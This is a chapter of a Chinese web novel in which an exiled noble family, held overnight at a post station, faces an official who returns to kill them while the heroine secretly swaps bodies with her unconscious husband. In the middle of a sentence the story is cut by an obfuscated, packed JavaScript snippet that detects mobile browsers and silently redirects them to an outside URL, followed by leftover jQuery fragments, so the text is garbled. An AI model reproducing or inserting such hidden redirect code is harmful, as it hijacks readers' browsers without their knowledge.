*


    夜色已浓，雾气不知何所起。


    山野间的鸟兽虫鸣间或地响起，一时忽远一时忽近，天地仿佛在一寸寸地缩小，小到仅有柴牢这一方禁困之所。


    霍家人哭的哭，沉默的沉默，皆是一脸的疲惫和无望。


    赵氏受了惊吓，语气显得虚浮无力，强撑着精神向南嘉道谢，“今日之事，多亏有你。”


    “这是我应该做的。”


    那个王八蛋把所有人害得这么惨，无论做什么都是应该的。


    赵氏不知真相，还当她是心地善良，以德报怨之人，看向她的目光越发愧疚，“都是我们霍家连累了你。”


    沈氏止了哭声，几次张了张嘴，最终什么也没说。


    王氏是个爽利人，不多时将热气腾腾的菜粥送来，还有用野菜做的菜饼卷子。


    没有人再挑食，包括霍明珠。


    霍谦脸上还挂着泪，端起粥碗就大口大口地喝，“娘，这粥也太好喝了。”


    沈氏闻言，又是一脸哭相。


    大儿子一生下来，就被养在太夫人膝下，与她并不亲近。女儿虽是她一手带大的，却没法和儿子相提并论。何况小儿子是遗腹子，打一出生就没见过亲爹，她心里自是要偏疼一些。


    可怜她捧在手心里的宝儿，平日里厨房变着花样都吃不了几口的小祖宗，眼下居然连一碗野菜粥都喝得津津有味。


    也是遭了大罪了。


    “若是你爹还活着……”


    话未说完，她已是泣不成声。


    一时之间，所有人都难过起来。


    九年前，顺宗在围猎时遇刺，霍潜为其挡了一箭，因那箭上抹着见血封喉的毒，他几乎是当场丧命。而顺宗则一病不起，不到半年撒手归天。


    顺宗无子，众臣商议之后，从夜氏皇族中择一血缘最近之人承继大统，便是今上。


    今上登基时，霍家已无顶梁之柱，外人看着表面风光仍在，实则根本不得帝心。若是霍潜还在，哪怕龙椅换了人，镇国公府也不至于一日不如一日。


    于赵氏而言，夫妻结发一日，便有百日之恩。她和霍潜也曾有过情投意合的时光，要不是自己一直生不出儿子，无法延续霍家的香火，或许也不会夫妻离心。这些年不管霍潜在还是不在，她心里都不好受。


    “眼下是什么时候，你说这个做甚？”


    沈氏哽咽着，“我……我就是心里难过……若是公爷还在，那些人怎敢欺我们至此……”


    她们妻妾伤感之时，南嘉已经喝完碗里的粥，再盛一碗后却不是自己喝，而是端着走到角落那边，用仅两人才能听到的声音对地上的人说：“我懒得动，你自己喂自己。”


    话音一落，你变成了我，我成为了你。


    她心安理得地享受着，好在这具身体的本能尚在，还可以自主吞咽。


    “孙从彪那个人可能不会善罢甘休。”


    这话是什么意思？


    她换回自己的身体，压着声音，“你把你知道的都告诉我。”


    身体再换，说话的又变成了夜炁，“据我所知，此人不仅心狠手辣，且手段极其的残暴。他之前被我唬退，一旦回过神来，意欲杀人灭口，恐怕还会折回来。”


    不等南嘉问有没有应对之策，又听到他说：“等会你别急着换回，我寻个机会出去一趟。”


    这个王八蛋不会是想跑路吧？


    “我不会逃，再者跑得了和尚也跑不了庙。”


    这倒也是。


    其他人自是注意到他们，但南嘉的身体背对着所有人，便是有人听到她好像是在说话，也根本想不到她所有的自言自语，实则是两个人在对话。


    夜炁出门时，不出意外地被守在外面的人拦住，南嘉听到他和闫怀安说自己要小解，心下翻了一个大白眼。


    还以为有什么高明的借口，没想到是尿遁。


    一刻钟多点的样子，他回到柴牢。


    “你记着，若是孙从彪去而复返，到时候换我。倘若我的法子也不管用，你莫要再迟疑，保全自己要紧。”


    南嘉听着他的交待，心生些许异样。


    从他的行为和言语来看，与传言中的相距甚远。


    他到底是个什么样的人？


    *


    半夜，似有人在哭。


    那哭声压抑而哽咽，像是咬着什么东西似的，从南嘉的右侧边传来，幽幽地直往她的耳朵里钻。


    是霍鹂。


    她起身查看，小声问：“你怎么了？”


    “大嫂……我……我好害怕……”霍鹂打着哭嗝，“我在书上看过，说北地酷热，多沙，冬大寒，好些地方不生草木，难以活人。我们以后……怎么办？”


    她年方十三，还是个孩子，一朝从云端跌落尘泥，心中定然没着没落，这一路上应该也是故作坚强，也是难得。


    正如她所说，北地苦寒，生存极为的不易。哪怕是前几朝曾有人在那里屯兵垦田，却仍旧是贫瘠之地。


    南嘉轻拍着她的背，安慰道：“到了那里，我们就是自由民。到时候我们垦田开地，总归不会饿死。”


    “那我们是不是永远都回不来了？”


    这个问题，南嘉没有办法回答她。


    若是有冤，还寄望于沉冤得雪，但霍让是被诬陷的吗？要么还有一个希望，那就是大赦天下，只是这个更可遇不可求。


    不知过了多久，她的呜咽声渐不可闻。


    南嘉却毫无睡意，或许是白天睡得多，也或许是因为夜炁的那番话。要是正如夜炁所料，那孙从彪极有可能会折回来的话，大抵应该是在下半夜。


    夜更加的寂静，静得让人害怕。黑暗中仿佛有什么东西在逼近，蓄势待发如上弦的弓箭。这种感觉令人毛骨悚然，莫名的心口发紧。


    守在外面的闫怀安十分机警，已摸着自己的刀慢慢地起身。


    “什么人……”他刚一出声，便戛然而止。


    只见火光四起，刹那之间将整个驿站团团包围。


    他快速将所有的差役叫醒，那些人原来还睡得有些迷糊，一看到这阵势，吓得立马清醒过来。


    外面的火光从窗户透进来柴房，如一团血腥。


    南嘉本就没睡，火


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116188|164174||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光大亮时她便知道该来的终于来了。立马将离自己最近的霍鹂唤起，伸手一指像着火的窗户。


    “别怕，先把他们都叫醒。”


    霍鹂白着一张小脸猛点头，身体却止不住发抖。


    两人分头行动，以最快的动作将所有人摇醒。


    沈氏惊闻孙从彪去而复返，吓得面无人色，紧紧所抱着自己的两个孩子。赵氏纵然镇定些，但也没好到哪里去。


    “哒哒”


    马蹄声渐近，骑着大马的孙从彪入院。


    他居高临下地俯视着闫怀安等人，轻蔑的目光如看蝼蚁，抑或者是死人。


    “孙大人，您怎么回来了？可是落了什么东西？”伍驿长赔着笑脸，火光映在他的眼中，满是惊恐之色。


    “自是落了东西。”


    “是何物？小的这就去给您取来。”


    孙从彪阴沉一笑，握着马鞭的手一指自己的脸，“本官的脸面。”


    他声音洪亮，穿透墙壁进入柴牢。


    沈氏瑟瑟发抖，连嘴唇都在哆嗦，“你……你快想想办法。”


    这话她是对南嘉说的。


    可能连她自己都不知道，她此时已将南嘉当成自己的救命稻草。


    南嘉抿着唇，不得不在内心做了最坏的打算。


    对方来势汹汹，应该正如夜炁所说是来杀人灭口的。他们这些人无所依傍，就算那些差役们拼尽全力也护不住他们。


    至于那个人说的法子，她不知道自己应不应该抱有希望。


    随着一阵兵刃相击的声音过后，柴房内再次涌进许多人。火光将这一室照得亮如白昼，也照出被孙从彪属下那些人押制住的差役们。


    闰怀安脸上挂了彩，腰间的刀已不知去向。


    孙从彪握着马鞭，一步步地走近。


    他的脸上写满放肆，淫邪，杀意，皆是毫不掩饰。


    “本官走后思来想去，实在是不放心，怕你们乱说话，特意折回来送你们一程，你们开不开心？”


    还真是来杀人灭口的！


    也不知那个人的办法是什么？是现在换，还是再等一会？


    南嘉正思量着，猛不丁被人一推，直接摔倒在孙从彪的面前。她震惊地回头，对上的是霍明珠仓惶的脸。


    “是你！是你得罪了孙大人……你这个害人精！”


    “……”


    这个蠢货居然在背后捅她刀子！


    孙从彪已如见到送上门的猎物般，垂涎地弯腰凑近。“你别怪本官狠心，本官也是没法子。”


    还真是猫哭耗子假慈悲，南嘉被他喷出的浊气都快熏吐了。


    事情到了如今地步，逃是不可能的，再抬出林家来恐怕也没什么意义。索性两眼一闭，让那个人来应对吧。


    她才刚这么想着，就听到一道极低极沉的声音响起，“孙从彪，你好大的胆子！”


    “谁？”


    孙从彪猛地听到有人这么叫自己，心下一惊，循着声望向角落。


    原本昏迷几日的人不知何时醒来，乱发之下的那双眼睛如暗夜星芒，寒光寂寂令人生畏。